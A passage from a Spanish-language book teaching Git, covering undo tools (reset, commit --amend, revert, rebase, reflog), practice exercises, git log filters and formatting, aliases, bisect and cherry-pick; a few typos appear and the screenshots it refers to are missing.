Hiciste buen progreso - la confirmación deseada está ahora en la rama ¡existing! Pero no queremos que estos cambios existan el rama main.  git cherry-pick solamente aplicó los cambios a la rama existente. ¿Cómo puedes quitarlos del main?

Una forma sería volver a main, y luego hacer reset:

git switch main
git reset --hard HEAD~1

Y el resultado:

¡Lo hiciste!

Fíjate que git cherry-pick en realidad calcula la diferencia entre la confirmación especificada y su antecesor, y luego aplica la diferencia a la confirmación activa. Esto significa que a veces, Git no será capaz de aplicar esos cambios debido a un conflicto.

También, fíjate que puedes pedirle a Git que haga cherry-pick de los cambios introducidos en cualquier confirmación, no solamente las confirmaciones referenciadas por una rama.

Recapitulación - Git Reset

En este capítulo, aprendimos cómo git reset opera, y clarificó sus tres modos principales de operación:

• git reset --soft <commit>, el cual cambia cualquier HEAD al que esté apuntando - a <commit>.
• git reset --mixed <commit>, el cual pasa por la etapa --soft, y también establece el estado del índice para que coincida con el de HEAD.
• git reset --hard <commit>, el cual pasa por las etapas --soft y --mixed, y luego pone el estado del directorio de trabajo para que coincide con el del índice.

Luego aplica tus conocimientos sobre git reset para que resuelva algunos problemas de la vida real que surgen cuando se usa Git.

Al entender la forma en que Git opera, y al limpiar el estado actual versus el estado deseado, puedes abarcar con toda confianza todo tipo de escenarios.

En capítulos futuros, cubriremos comandos de Git adicionales y cómo nos pueden ayudar a resolver todo tipos de situaciones no deseadas.

Capítulo 10 - Herramientas adicionales para deshacer cambios

En el capítulo previo, conociste a git reset. De hecho, git reset es una herramienta super poderosa, y te recomiendo mucho usarlo hasta que te sientas completamente confiado con él.

Aunque, git reset no es la única herramienta a nuestra disposición. Algunas veces, no es la herramienta más conveniente para usar. En otras veces, no es suficiente. Este corto capítulo abordo algunas herramientas que son útiles para deshacer cambios en Git.

git commit --amend

Considera el Escenario #1 del capítulo anterior nuevamente. Como recordatorio, escribiste "I love Git" en un archivo (love.txt), lo pusiste en el área de preparación y confirmaste este archivo:

Y luego me di cuenta que no quería que lo confirmaras a ese estado, sino - que escribieras algunas palabras de amor en este archivo antes de confirmarlo.

Para coincidir con este estado, simplemente revisa la etiqueta que creaste, el cual apunta a "Commit 2.3":

git checkout scenario-1

En el capítulo previo, cuando introdujimos git reset, resolviste este error usando git reset --mixed HEAD~1, deshaciendo efectivamente las acciones de confirmación y las acciones puesto en el área de preparación que hiciste.

Ahora me gustaría considerar otro enfoque. Continúa trabajando en el estado de la última confirmación introducida ("Commit 2.3", referenciado por la etiqueta "scenario-1"), y haz los cambios que quieras:

echo And I love this book >> love.txt

Agrega este cambio al índice:

git add love.txt

Ahora, puedes usar git commit con el conmutador --ammend, el cual le dice que sobreescriba la confirmación al que HEAD está apuntando. En realidad, creará otra nueva confirmación, que apunta a HEAD~1 ("Commit 1" en nuestro ejemplo), y hará que HEAD apunte a esta nueva confirmación creada. Proveyendo el argumento -m puedes especificar un nuevo mensaje de confirmación también:

git commit --amend -m "Commit 2.4"

Después de ejecutar este comando, HEAD apunta a main, el cual apunta a "Commit 2.4", el cual en sí apunta a "Commit 1". El "Commit 2.3" previo ya no es alcanzable desde el historial.

Esta herramienta es útil cuando quieras sobrescribir rápidamente la última confirmación que creaste. De hecho, podrías usar git reset para lograr lo mismo, pero puedes ver git commit --ammend como un atajo más conveniente.

git revert

Muy bien, otro día, otro problema.

Agrega el siguiente texto a love.txt, pónlo en el área de preparación y confirma como sigue:

echo This is more tezt >> love.txt
git add love.txt
git commit -m "Commit 3"

Y empújalo al servidor remoto:

git push origin HEAD

Am, ups 😓…

Noté algo. Tuve un error de tipado aquí. Escribí "This is more tezt" en vez de "This is more text". Woops. Así que, ¿cuál es el problema grande ahora? Hice push, lo que significa que alguien más ya podría haber hecho push de esos cambios.

Si sobrescribo esos cambios usando git reset, tendremos historiales distintos, y todo el infierno podría desatarse. Puedes sobrescribir tu propia copia del repo  tanto como quieras hasta que hagas push.

Una vez que hagas push del cambio, necesitas estar seguro que nadie más ha solicitado esos cambios si vas a reescribir el historial.

De forma alternativa, puedes usar otra herramienta llamada git revert. Este comando toma la confirmación que le estás proveyendo y calcula el diff de su confirmación antecesor, así como git cherry-pick, pero esta vez, calcula los cambios inversos. Eso es, si en la confirmación especificada agregaste una línea, el servidor eliminaría la línea, y vice versa.

En nuestro caso estamos revirtiendo "Commit 3", así que la reversa sería eliminar la línea "This is more tezt" de love.txt. Ya que "Commit 3" está referenciado por main y HEAD, podemos usar cualquier de las referencias nombradas en este comando:

git revert creó un nuevo objeto de confirmación, lo cual significa que es una adición al historial. Al usar git revert, no reescribiste el historial. Admitiste tu error pasado, y esta confirmación es un reconocimiento que cometiste un error y ahora lo arreglaste.

Alguno diría esta es la forma más madura. Alguno diría que no es un historial tan limpio como lo obtendrías si usaras git reset para reescribir la confirmación previa. Pero este es una forma de evitar reescribir el historial.

Ahora puedes arreglar el error de tipado y confirmar nuevamente:

echo This is more text >> love.txt
git add love.txt
git commit -m "Commit 3.1"

Puedes usar git revert para revertir una confirmación que no sea HEAD. Digamos que quieres revertir el antecesor de HEAD, puedes usar:

git revert HEAD~1

O podrías proveer el SHA-1 de la confirmación para revertir.

Fíjate ya que Git aplicará el parche de reversa del parche anterior - esta operación podría fallar, ya que el parche ya no se podría aplicar y tendrías un conflicto.

Git Rebase como una herramienta para deshacer cosas

En el capítulo 8, aprendiste sobre Git rebase. Lo consideramos principalmente como una herramienta para combinar cambios introducidos en diferentes ramas. Sin embargo, siempre y cuando no hayas hecho push de tus cambios, usando rebase en tu propia rama puede ser una forma muy conveniente para reordenar tu historial de confirmaciones.

Para ello, usualmente harías rebase en una sola rama, y usa el rebase interactivo. Considera nuevamente este ejemplo abarcado en el capítulo 8, donde trabajé desde feature_branch_2, y específicamente edité el archivo code.py. Comencé por cambiar todas las cadenas para que sean envueltas por comillas dobles en vez de comillas simples:

Luego, lo puse en el área de preparación y confirmé:

git add code.py
git commit -m "Commit 17"

Luego decidí agregar una nueva función al principio del archivo:

Nuevamente, lo puse en el área de preparación y confirmé:

git add code.py
git commit -m "Commit 18"

Y ahora me di cuenta que en realidad me olvidé de cambiar las comillas simples a comillas dobles al envuelto de __main__ (como lo has visto), así que hice eso también:

Por supuesto, lo puse en el área de preparación y confirmé este cambio:

git add code.py
git commit -m "Commit 19"

Ahora, considera el historial:

Como expliqué en el capítulo 8, obtuve un estado con dos confirmaciones que están relacionados uno con el otro, "Commit 17" y "Commit 19" (cambiando ' a "), pero están separados por el "Commit 18" que no está relacionado (donde agregué una nueva función).

Este es un caso básico donde git rebase sería práctico, para deshacer los cambios locales antes de hacer push de un historial limpio.

Intuitivamente, quiero editar el historial aquí:

Puedo hacer rebase del historial desde "Commit 17" a "Commit 19", por encima de "Commit 15". Para hacer eso:

git rebase --interactive --onto <SHA_OF_COMMIT_15> <SHA_OF_COMMIT_15>

Esto resulta en la siguiente pantalla:

Así que, ¿qué haría? Quiero poner a "Commit 19" antes de "Commit 18", así viene justo después de "Commit 17". Puedo ir más lejos y hacerles squash ("aplastarlos", de manera figurativa), así:

Ahora cuando recibo una pantalla para escribir un mensaje de confirmación, puedo proveer el mensaje "Commit 17+19":

Y ahora, vemos nuestro precioso historial:

La sintaxis usada arriba, git rebase --interactive --onto <COMMIT X> <COMMIT X> sería la sintaxis más usada comúnmente por aquellos que usan rebase regularmente. La manera de pensar que estos desarrolladores usualmente tienen es crear confirmaciones atómicas mientras trabajan, todo el tiempo, sin asustarse de cambiarlos luego. Entonces, antes de hacer push de sus cambios, harían rebase a todo el conjunto de cambios desde el último push, y re-arreglarlo así el historial se vuelve coherente.

git reflog

Es tiempo de considerar un caso más alarmante.

Vuelve al "Commit 2.4":

git reset --hard <SHA_OF_COMMIT_2_4>

Haz algo, escribe algo de código, y agrégalo a love.txt. Pónlo en el área de preparación a este cambio, y confírmalo:

echo lots of work >> love.txt
git add love.txt
git commit -m "Commit 3.2"

(Estoy usando "Commit 3.2" para indicar que este no es la misma confirmación que "Commit 3" que usamos cuando explicamos sobre git revert.)

Hice lo mismo en mi máquina, y usé la tecla flecha arriba Up en mi teclado para volver a los comandos anteriores, y luego presioné Enter, y... Wow.

Whoops.

¿Acaso usé git reset --hard? 😨

¿Pero qué pasó en realidad? Como aprendiste en el capítulo previo, Git movió el puntero a HEAD~1, de esa forma la última confirmación, con todo mi trabajo precioso, no es alcanzable desde el historial actual. Git también quitó todos los cambios desde el área de preparación, y luego hice coincidir el directorio de trabajo con el del estado del área de preparación.

Eso es, todo coincide con este estado donde mi trabajo... se ha ido.

Momento de terror. Me voy asustando.

Pero, realmente, ¿hay una razón para asustarse? No realmente... Somos personas relajadas. ¿Qué hacemos? Bueno, intuitivamente, ¿realmente, realmente se ha ido la última confirmación?

No. ¿Y por qué no? Todavía existe dentro de la base de datos interno de Git.

Si tan solo supiera dónde está, sabría el valor SHA-1 que identifica a esta confirmación, y podríamos restaurarlo. Inclusive podría deshacer lo deshecho, y hacer reset y volver a esta confirmación.

En realidad, lo único que realmente necesito aquí es el SHA-1 de la confirmación "eliminada".

Ahora la pregunta es, ¿cómo lo encuentro? ¿git log sería útil?

Bueno, no realmente. git log iría al HEAD, el cual apunta a main, el cual apunta a la confirmación antecesora de la confirmación que estamos buscando. Luego, git log recorrería a través de la cadena de antecesores, el cual no incluye la confirmación con mi trabajo precioso.

Afortunadamente, los genios que crearon Git también crearon un plan de recuperación para nosotros, y se llama el reflog.

Mientras trabajas con Git, cuando sea que cambies el HEAD, lo cual lo puedes hacer usando git reset, pero también con otros comandos como git switch o git checkout, Git agrega una entrada al reflog.

¡Encontramos nuestra confirmación! Es el que comienza con 0fb929e.

También podemos relacionarlo por su "nickname" - HEAD@{1}. De forma similar Git usa al HEAD~1 para obtener el primer antecesor de HEAD, y HEAD~2 para que se refiera al segundo antecesor de HEAD, y así sucesivamente, Git usa HEAD@{1} para referirse al primer reflog antecesor de HEAD, eso es, a donde apuntaba HEAD en el paso anterior.

También podemos pedirle a git rev-parse que nos muestre su valor:

Nota: En caso que estés usando Windows, podrías necesitar envolverlo con comillas - así:

git rev-parse "HEAD@{1}"

Otra forma de ver el reflog es usando git log -g, el cual le pide a git log que considere el reflog:

Puedes ver en la salida de git log -g que la entrada de reflogHEAD@{0}, justo como el HEAD, apunta a main, el cual apunta a "Commit 2". Pero el antecesor de esa entrada en el reflog apunta a "Commit 3".

Así que para volver a "Commit 3", puedes usar git reset --hard HEAD@{1} (o el valor SHA-1 de "Commit 3"):

Y ahora, si haces git log:

¡Nos salvamos!

¿Qué sucedería si usara este comando nuevamente? ¿Y ejecutara git reset --hard HEAD@{1}?

Git pondría al HEAD a dónde HEAD estaba apuntando antes del último reset, lo que significa a "Commit 2". Podemos continuar todo el día:

Recapitulación - Herramientas adicionales para Deshacer Cambios

En el capítulo anterior, aprendiste cómo usar git reset para deshacer cambios.

En este capítulo, agrandaste tu caja de herramientas para deshacer cambios en Git con algunos comandos nuevos:

• git commit --ammend - el cual "sobreescribe" la última confirmación con el área de preparación del índice. Mayoritariamente útil cuando confirmaste algo y quieres modificar la última confirmación.
• git revert - el cual crea una nueva confirmación, que revierte una confirmación anterior agregando una nueva confirmación al historial con los cambios revertidos. Especialmente útil cuando la confirmación "defectuosa" ya ha sido subida al remoto.
• git rebase - el cual ya los conocías desde el capítulo 8, y es útil para reescribir el historial de confirmaciones múltiples, especialmente antes de empujarlos.
• git reflog (y git log -g) - el cual rastrea todos los cambios hasta el HEAD, así puedes encontrar el valor SHA-1 de una confirmación al que necesitas volver.

La herramienta más importante, inclusive más importante que las herramientas que listé, es limpiar la situación actual vs el desado. Créeme en esta, hará que cada situación parezca menos intimidante y la solución más clara.

Hay herramientas adicionales que te permiten revertir cambios en Git (proveeré enlaces en el apéndice), pero la colección de herramientas que cubrí aquí debería prepararte para abarcar cualquier desafío con confianza.

Capítulo 11 - Ejercicios

Este capítulo incluye algunos ejercicios para profundizar tus conocimientos de las herramientas que aprendiste en la Parte 3. La versión completa de este libro también incluye soluciones detalladas de cada una.

Los ejercicios se encuentran en este repositorio:

https://github.com/Omerr/undo-exercises.git

Cada ejercicio está en una rama con el nombre exercise_XX, así que el Ejercicio 1 se encuentra en la rama exercise_01, el Ejercicio 2 se encuentra en la rama exercise_02 y así sucesivamente.

Nota: como se explicó en los capítulos previos, si trabajas con confirmaciones que pueden ser encontradas en un servidor remoto (los cuales son en la que estás en este caso, ya que estás usando mi repositorio "undo-exercises"), deberías probablemente usar git revert en vez de git reset. De la misma forma con git rebase, el comando git reset también reescribe el historial - y así te refrenas de usarlo en las confirmaciones en las que otros podían basarse.

Para los propósitos de estos ejercicios, puedes asumir que nadie ha clonado o haya descargado (pull) el código del repositorio remoto. Sólo recuerda - en la vida real, probablemente deberías usar git revert en vez de comandos que reescriben el historial en tales casos.

Ejercicio 1

En la rama execise_01, considera el archivo hello.txt:

Este archivo incluye un error de tipado (en el último caracter). Encuentra la confirmación que introdujo este error de tipado.

Ejercicio (1a)

Quita esta confirmación del historial alcanzable usando git reset (con los argumentos correctos), arregla el error de tipado, y confirma nuevamente. Considera tu historial.

Revierte al estado previo.

Ejercicio (1b)

Quita la confirmación defectuosa usando git commit --ammend, y vuelve al mismo estado del historial como al final del ejercicio (1a).

Revierte al estado previo.

Ejercicio (1c)

Haz revert de la confirmación defectuosa usando git revert y arregla el error de tipado. Considera tu historial.

Revierte al estado previo.

Ejercicio (1d)

Usando git rebase, vuelve al misma estado como al final del ejercicio (1a).

Ejercicio 2

Cambia a la rama exercise_02, y considera los contenidos de exercise_02.txt:

Un archivo sencillo, con un caracter en cada línea.

Considera el historial (usando git lol):

Oh mi. Cada caracter fue introducido en una confirmación separada. ¡Eso no tiene sentido!

Usa las herramientas que has adquirido para crear un historial donde la creación de exercise_02.txt está hecho en una sola confirmación.

Ejercicio 3

Considera el historial en la rama exercise_03:

Esto parece un desastre. Notarás que:

• El orden está sesgado. Necesitamos que "Commit 1" sea la primera confirmación en esta rama, y tenga a "Initial Commit" como su antecesor, seguido de "Commit 2" y así sucesivamente.
• No deberíamos tener "Commit 2a" y "Commit 2b", o "Commit 4a" y "Commit 4b" - estos dos pares necesitan ser combinados en una sola confirmación cada uno - "Commit 2" y "Commit 4".
• Hay un error de tipado en el mensaje de confirmación de "Commit 1", no debería tener 3 m.

Arregla estos errores, pero básate en los cambios de cada confirmación original. El historial resultante debería lucir así:

Ejercicio 4

Este ejercicio en realidad consiste de tres ramas: exercise_04, exercise_04_a, y exercise_04_b.

Para ver el historial de estas ramas sin las otras, usa la siguiente sintaxis:

git lol --branches="exercise_04*"

El resultado es:

Tu objetivo es hacer que exercise_04_b sea independiente de exercise_04_a. Eso es, obtener este historial:

¡Buena suerte!

Parte 4 - Herramientas de Git Fantásticas y Útiles

Git tiene un montón de comandos, y estos comandos tienen muchísimas opciones y argumentos. Podría intentar cubrirlos todos (aunque cambian con el tiempo), pero no veo el punto en ello. Probablemente deberías conocer un sub-conjunto de estos comandos realmente bien, aquellos que usas regularmente. Luego, siempre puedes buscar por un comando específico para realizar una tarea a mano.

Esta parte se basa en las bases que adquiriste en las partes previas, y cubre comandos específicos y opciones que podrías encontrar útiles. Dado tu entendimiento de cómo funciona Git, tener estas pequeñas herramientas puede hacerte un verdadero pro para llevar a Git a cabo.

Capítulo 12 - Git Log

Usaste git log muchas veces a lo largo de los distintos capítulos, y probablemente lo has usado muchas veces antes de leer este libro.

La mayoría de los desarrolladores usan git log, pocos lo usan de forma efectiva. En este capítulo aprenderás ajustes útiles para sacar el mayor provecho a git log. Una vez que te sientas cómodo con los diferentes conmutadores de este comando, será un verdadero cambio en tu día a día trabajando con Git.

Pensando en ello, git log abarca la esencia de cada versión del sistema de control - es decir, para registrar cambios en las versiones. Registras versiones de esa forma puedes considerar el historial de tu proyecto - tal vez revertir o aplicar cambios específicos, preferir cambiar a un punto distinto en el tiempo y probar las cosas allí. Tal vez te gustaría saber quién contribuyó una cierta pieza de código o cuando lo hicieron.

Mientras que git sí preserva esta información usando objetos de confirmación, eso también apunta a sus confirmaciones antecesoras, y referencias a objetos de confirmación (tales como ramas o HEAD), este almacenamiento de versiones no es suficiente. Sin ser capaz de encontrar la confirmación relevante que te gustaría considerar, o reunir información relevante sobre ello, tener estos datos almacenados es bastante inútil.

Puedes imaginarte a tus objetos de confirmación como distintos libros que se apilan en un pila gigante, o en una biblioteca, llenando largos estantes. La información que podrías necesitar está en estos libros, pero si no tienes un índice - una forma para saber en qué libro yace la información que buscas, o dónde este libro se localiza dentro de la biblioteca - no serías capaz de hacer uso de él. git log es esta indexación de tu biblioteca - es una forma de encontrar las confirmaciones relevantes y la información sobre ellos.

Los argumentos útiles para git log que aprenderás en este capítulo dan formato en cómo se muestran las confirmaciones en el log, o filtran confirmaciones específicas.

git lol, un alias que he usado a lo largo de este libro, usa algunos de estos conmutadores, como lo demostraré. Siéntete libre de ajustar este alias (o crea otro desde cero) después de leer este capítulo.

Como en otros capítulos, el objetivo no es proveer una referencia completa, por lo tanto no proveeré todos los diferentes conmutadores de git lol. Me enfocaré en los conmutadores que creo que los encontrarás útiles.

Filtrando comandos

Considera la salida predeterminada de git log:

El log comienza desde el HEAD, y sigue la cadena de antecesores.

Las Confirmaciones (no) alcanzables desde...

Cuando escribes git log <revision>, git log incluirá todas las entradas accesibles desde <revision>. Con "accesible", me refiero accesible al seguir la cadena de antecesores. Así que ejecutando git log sin argumentos es lo mismo que ejecutar git log HEAD.

Puedes especificar múltiples revisiones para git log- si escribes git log branch_1 branch_2, le pides a git log que incluya cada confirmación que es alcanzable desde branch_1 o branch_2 (o ambos).

git log excluirá cualquier confirmación que sea alcanzable desde las revisiones precedidos por un ^.

Por ejemplo, el siguiente comando:

git log branch_1 ^branch_2

le pide a git log que incluya cada confirmación que es accesible desde branch_1, pero no aquellos que son accesibles desde branch_2.

Considera el historial cuando uso git log feature_branch_2 en este repo:

El historial incluye todas las confirmaciones accesibles por feature_branch_1. Ya que esta rama "se creó" desde main (eso es, "Commit 12", al que apunta main, es accesible desde la cadena de antecesores) - el log también incluye todas las confirmaciones accesibles desde main.

¿Qué sucedería si ejecutara este comando?

git log feature_branch_1 ^main

En efecto, git log muestra sólo "Commit 13" y "Commit 16", los cuales son accesibles desde feature_branch_1 pero no desde main.

git log --all

Para seguir las confirmaciones que son accesibles desde cualquier referencia nombrada o (cualquier ref en refs/) o desde el HEAD.

Por Autor

Si sabes que estás buscando una confirmación que tiene una persona específica como autor, puedes filtrar estas confirmaciones usando el nombre del usuario o su email, así:

git log --author="Name"

Puedes usar expresiones regulares para buscar los nombres de los autores que coinciden con un patrón específico, por ejemplo:

git log --author="John\|Jane"

filtrará las confirmaciones cuyo autor es John o Jane.

Por Fecha

Cuando sabes que el cambio que estás buscando ha sido confirmado dentro de una fracción de tiempo específico, puedes usar --before o --after para filtrar las confirmaciones desde esa fracción de tiempo.

Por ejemplo, para obtener todas las confirmaciones introducidos después del 12 de Abril de 2023 (inclusivo), usa:

git log --after="2023-04-12"

Por Rutas

Puedes pedir a git log que sólo muestre las confirmaciones donde los cambios han sido introducidos en rutas específicas. Fíjate que no significa que cualquier confirmación que apunte a un árbol que incluya los archivos en cuestión, sino más bien que si calculamos la diferencia entre la confirmación en cuestión y sus antecesores, veríamos que al menos uno de las rutas ha sido modificado.

Por ejemplo, puedes usar:

git log --all -- 1.py

para encontrar todas las confirmaciones que son accesibles desde cualquier puntero nombrado, o HEAD, e introducir un cambio a 1.py. Puedes especificar múltiples rutas:

git log --all -- 1.py 2.py

El comando previo hará que git log incluya confirmaciones accesibles que introdujeron un cambio a 1.py o 2.py (o ambos).

También puedes usar un patrón glob, por ejemplo:

git log -- *.py

incluirá las confirmaciones que son accesibles desde el HEAD que incluye un cambio a cualquier archivo en el directorio raíz cuyo nombre termina con un .py. Para buscar un archivo que termine con .py, puedes usar:

git log -- **/*.py

Por Mensaje de Confirmación

Si conoces el mensaje de confirmación (o partes de él) de la confirmación que estás buscando, puedes usar el conmutador --grep para "git log", por ejemplo:

git log --grep="Commit 12"

devuelve la confirmación con el mensaje "Commit 12".

Por Contenido de Diff

Este es super útil, y me ha salvado incontables veces. Al usar git log -S, puedes buscar confirmaciones que introducen o quitan una línea en particular del código fuente.

Esto es práctico, por ejemplo, cuando sabes que has creado algo en el repo, pero no sabes dónde está ahora. No puedes encontrarlo en ningún lugar de tu sistema de archivos (no está en el HEAD), y sabes que debe estar ahí - acechando en algún lugar en esta librería (montón de confirmaciones) que tienes.

Digamos que recuerdo dónde escribí una línea con el texto Git is awesome, pero no puedo encontrarlo ahora. Podría ejecutar:

git log --all -S"Git is awesome"

Fíjate que usé --all para evitar limitarme a confirmaciones alcanzables desde el HEAD.

También puedes buscar una expresión regular, usando -G:

git log --all -G"Git .* awesome"

Formateando el Log

Considera la salida predeterminada de git log nuevamente:

El log comienza desde el HEAD, y sigue la cadena de antecesores.

Cada entrada del log comienza con una línea con commit y luego el SHA-1 de la confirmación, tal vez seguida de punteros adicionales que apuntan a esta confirmación.
Luego es seguido por el autor, fecha, y mensaje de confirmación.

--oneline

La principal dificultad con la salida predeterminada de git log es que es difícil de entender un historial con más de unas pocas confirmaciones, ya que simplemente no los ves a todos.

En la salida de git log que se muestra abajo, solamente cuatro objetos de confirmación aparecieron en mi pantalla. Usando git log --oneline provee una vista más concisa, mostrando el SHA-1 de la confirmación, al lado de su mensaje, y referencia nombradas si son relevantes:

Si deseas omitir las referencias nombradas, puedes agregar el conmutador --no-decorate:

Para pedirle a git log explícitamente que muestre decoraciones, puedes usar git log --decorate.

--graph

git log --oneline muestra una representación compacta. Eso es genial cuando tenemos un historial linear, tal vez en una sola rama. Pero, ¿qué sucede cuando tenemos múltiples ramas, que podría diferir uno del otro?

Considera la salida del siguiente comando en mi repositorio:

git log --oneline feature_branch_1 feature_branch_2

git log muestra cualquier confirmación accesible por feature_branch_1, feature_branch_2, o ambos. Pero, ¿cómo se ve el historial? ¿feature_branch_2 difirió de feature_branch_1? ¿O difirió de main? Es imposible distinguirlo desde esta vista.

Aquí es donde --graph viene a mano, dibujando un gráfico ASCII representando la estructura de la rama del historial de confirmaciones. Si agregamos esta opción al comando previo:

En realidad puedes ver que feature_branch_1 se creó desde main (ya que "Commit 12", main, es el antecesor de "Commit 13"), y también que feature_branch_2 se creó desde main (ya que el antecesor de "Commit 14" también es "Commit 12").

El símbolo * nos dice "en" qué rama está una cierta confirmación, así sabes con certeza que "Commit 13" está en feature_branch_1, y no en feature_branch_2.

--pretty=format

El resultado de arriba, ¡ya es muy útil! Aunque, le falta un par de cosas. No sabemos el autor o el tiempo de la confirmación. Estos dos detalles fueron incluidos en la salida predeterminada de git log el cual fue muy largo. Tal vez, ¿los podemos agregar de una forma más compacta?

Al usar --pretty=format:, puedes mostrar la información de cada confirmación en varias formas usando marcadores de posición al estilo de printf.

En el siguiente comando, los marcadores de posición %s, %an y %cd son reemplazados por el sujeto de la confirmación (mensaje), nombre de autor, y la fecha de la confirmación, respectivamente.

git log --oneline --graph feature_branch_1 feature_branch_2 --pretty=format:"%s (%an) [%cd]"

La salida luce así:

Eso es útil, pero no bueno al mirarlo. Entonces podemos usar otros trucos de formateo, específicamente %C(color) que cambiará el color a color, hasta que alcance un %Creset que resetea el color. Para hacer que el nombre del autor sea amarillo, puedes usar:

git log --oneline --graph feature_branch_1 feature_branch_2 --pretty=format:"%s %C(yellow)(%an)%Creset [%cd]"

Para algunos colores, como rojo o verde, es innecesario incluir el paréntesis, así que rojo es suficiente.

¿Cómo se estructura git lol?

Cuando ejecuto git lol, en realidad ejecuta lo siguiente:

git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit

¿Puedes tomar esto poco a poco?

Ya conoces --graph, el cual hace que la salida incluya un gráfico ASCII.

--abbrev-commit usa un prefijo corto del SHA-1 completo de la confirmación (en mi configuración, los siete primero caracteres).

El resto es sólo el coloreamiento de varios detalles sobre la confirmación:

git lol --all

Me gusta esta salida porque lo encuentro claro. Me da la información que necesito, con colores suficientes así cada detalles se destaca sin lastimar mis ojos. Pero si prefieres otra información, otros colores, un diferente orden, o cualquier cosa - adelante y ajústalo a tu gusto.

Definiendo un alias

Como sabes, defino a git lol como un alias - eso es, cuando ejecuto git lol, ejecuta el comando largo que proveí anteriormente.

¿Cómo puedes crear un alias en Git?

La forma mas fácil es usar git alias, así:

git config --global alias.co checkout

Este comando pone co para que sea un alias para el comando checkout, así puedes usar git co main en vez de git checkout main.

Para definir git lol como un alias, puedes usar:

git config --global alias.lol 'log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit'

Capítulo 13 - Git Bisect

Ups.

Tengo un error.

Sí, sucede a veces, a todos nosotros. Algo en mi sistema está roto, y no puedo distinguir por qué. He estado depurando por un rato, pero la solución no está clara.

Puedo decir que dos semanas atrás, esto no sucedió. Afortunadamente para mí, he estado usando Git (obviamente lo sé...), así que puedo volver en el tiempo y probar una versión anterior de mi código. En efecto, en esta versión - todo funcionó bien.

Pero... he hecho muchos cambios en estas dos semanas. Ay, no solo yo - mi equipo completo ha contribuido con confirmaciones que agregan, eliminan, o modifican partes del código base. ¿Por dónde comienzo? ¿Debería ir por cada cambio introducido en esas dos semanas?

Ingresa - git bisect.

El objetivo de git bisect es ayudarte a encontrar la confirmación donde un error fue introducido, de una manera efectiva.

¿Cómo funciona git bisect?

git bisect primero te pide que marques una confirmación como "mala" (donde el error ocurre), y otra confirmación como "buena" (una sin el error). Luego, verifica una confirmación a medio camino entre estas dos confirmaciones, y luego te pide que identifiques la confirmación como "buena" o "mala". Este proceso se repite hasta que encuentres la primer confirmación "mala".

La clave aquí es usar la búsqueda binaria - mirando al punto a medio camino y decidir si es la nueva punta o el piso de la lista de confirmaciones, puedes encontrar la confirmación correcta de forma eficiente. Inclusive si tienes 10,000 confirmaciones que cazar, solamente toma un máximo de 13 pasos para encontrar la primer confirmación que introdujo el error.

Ejemplo de git bisect

Para este ejemplo, usaré el repositorio en https://github.com/Omerr/bisect-exercise.git. Para crearlo, adaptaré el repositorio de código abierto https://github.com/bast/git-bisect-exercise (acorde a su licencia).

En este repositorio, tenemos un archivo python sencillo que se usa para calcular el valor de pi (el cual es aproximadamente 3.14). Si ejecutas python3 get_pi.py en el main, sin embargo, obtendrás un resultado erróneo:

Esta rama consiste de más de 500 confirmaciones.

Encuentra la primer confirmación en esta rama usando:

git log --oneline | tail -n 1

Si ejecutas checkout para esta confirmación y ejecutas python3 get_pi.py nuevamente, el resultado es correcto:

Así que en algún lugar entre el HEAD y la confirmación f0ea950, un cambio fue introducido que resultó en esta salida errónea.

Para encontrarlo usando git bisect, comienza el proceso de bisect, y marca esta confirmación como "buena":

git bisect start
git bisect good

Por defecto, git bisect good tomaría el HEAD como la confirmación "buena". Para marcar a main como "mala", puedes usar git bisect bad main:

git bisect comprobó el número de confirmación 251, el "punto medio" de la rama main. ¿El estado de esta confirmación produce la saluda correcta o errónea?

Todavía obtenemos la salida errónea, lo cual significa que podemos descartar las confirmaciones 252 hasta el 500 (y confirmaciones adicionales después de ese), y acortar nuestra búsqueda desde la confirmación 2 hasta el 251. Marca a éste como "mala":

git bisect comprobó la confirmación "media" (número 126), y ejecutando el código nuevamente resulta en la respuesta, ¡correcta! Esto significa que esta confirmación es "buena", y que la primer confirmación "mala" está en algún lugar entre 127 y 251. Márcalo como "buena".

Genial, git bisect nos toma a la confirmación 188, ya que esta es la confirmación "media" entre 127 y 251. Al ejecutar el código nuevamente, puedes ver que el resultado es incorrecto, así que este es en realidad una confirmación "mala", lo que significa que la primer confirmación defectuosa se encuentre en algún lugar entre 127 y 188. Como puedes ver, git bisect achica el espacio de búsqueda a la mitad en cada iteración.

Vamos, ahora es tu turno - ¡continúa desde aquí! Prueba el resultado de python3 get_pi.py y usa git bisect good o git bisect bad para marcar la confirmación según sea el caso. ¿Cuál es la confirmación defectuosa?

Cuando estés listo, usa git bisect reset para detener el proceso bisect.

git bisect automático

En el ejemplo previo, podrías simplemente ejecutar pytho3 get_pi.py y verificar el resultado. En otras veces, el proceso de validar si una cierta confirmación es "buena" o "mala" puede ser tramposo, propenso a errores, o solo lleva mucho tiempo.

Es posible automatizar el proceso de git bisect al crear código que debería ser ejecutado en cada iteración, devolviendo 0 cuando la confirmación actual es "buena", y un valor entre 1-127 (inclusivo), excepto 125, si debería ser considerada "mala".

La sintaxis es:

git bisect run my_script arguments

Ya que este libro no trata sobre programación y no se asume que conoces un lenguaje de programación específico, no mostraré un ejemplo de la implementación my_script. El archivo README.md en el repositorio usado en este capítulo (https://github.com/Omerr/bisect-exercise.git) incluye un ejemplo para un script que puedes ejecutar con git bisect run para encontrar automáticamente la confirmación defectuosa para el ejemplo previo.

Capítulo 14 - Otros comandos útiles

Este capítulo resalta algunos comandos que ya han sido mencionados en los capítulos anteriores. Los estoy poniendo aquí juntos así puedes revisarlos como una referencia cuando sea necesario.

git cherry-pick

Introducido en el capítulo 8, este comando toma una confirmación dada, calcula el parche que esta confirmación introduce al calcular la diferencia entre la confirmación del antecesor y la confirmación misma, y luego git bisect "repite" esta diferencia. Es como "copiar-pegar" una confirmación, es decir, el diff de esta confirmación introducida.

En el capítulo 8 consideramos la diferencia introducida por el "Commit 5" (usando git diff main <SHA_OF_COMMIT_5>):

Puedes ver que en esta confirmación, John comenzó a trabajar en una canción llamada "Lucy in the Sky with Diamonds":

Como recordatorio, también puedes usar el comando git show para obtener la misma salida:

git show <SHA_OF_COMMIT_5>

Ahora, si haces cherry-pick a esta confirmación, introducirás este cambio específicamente, en la rama activa. Puedes cambiar a la rama main:

git checkout main (or git switch main)

Y crear otra rama:

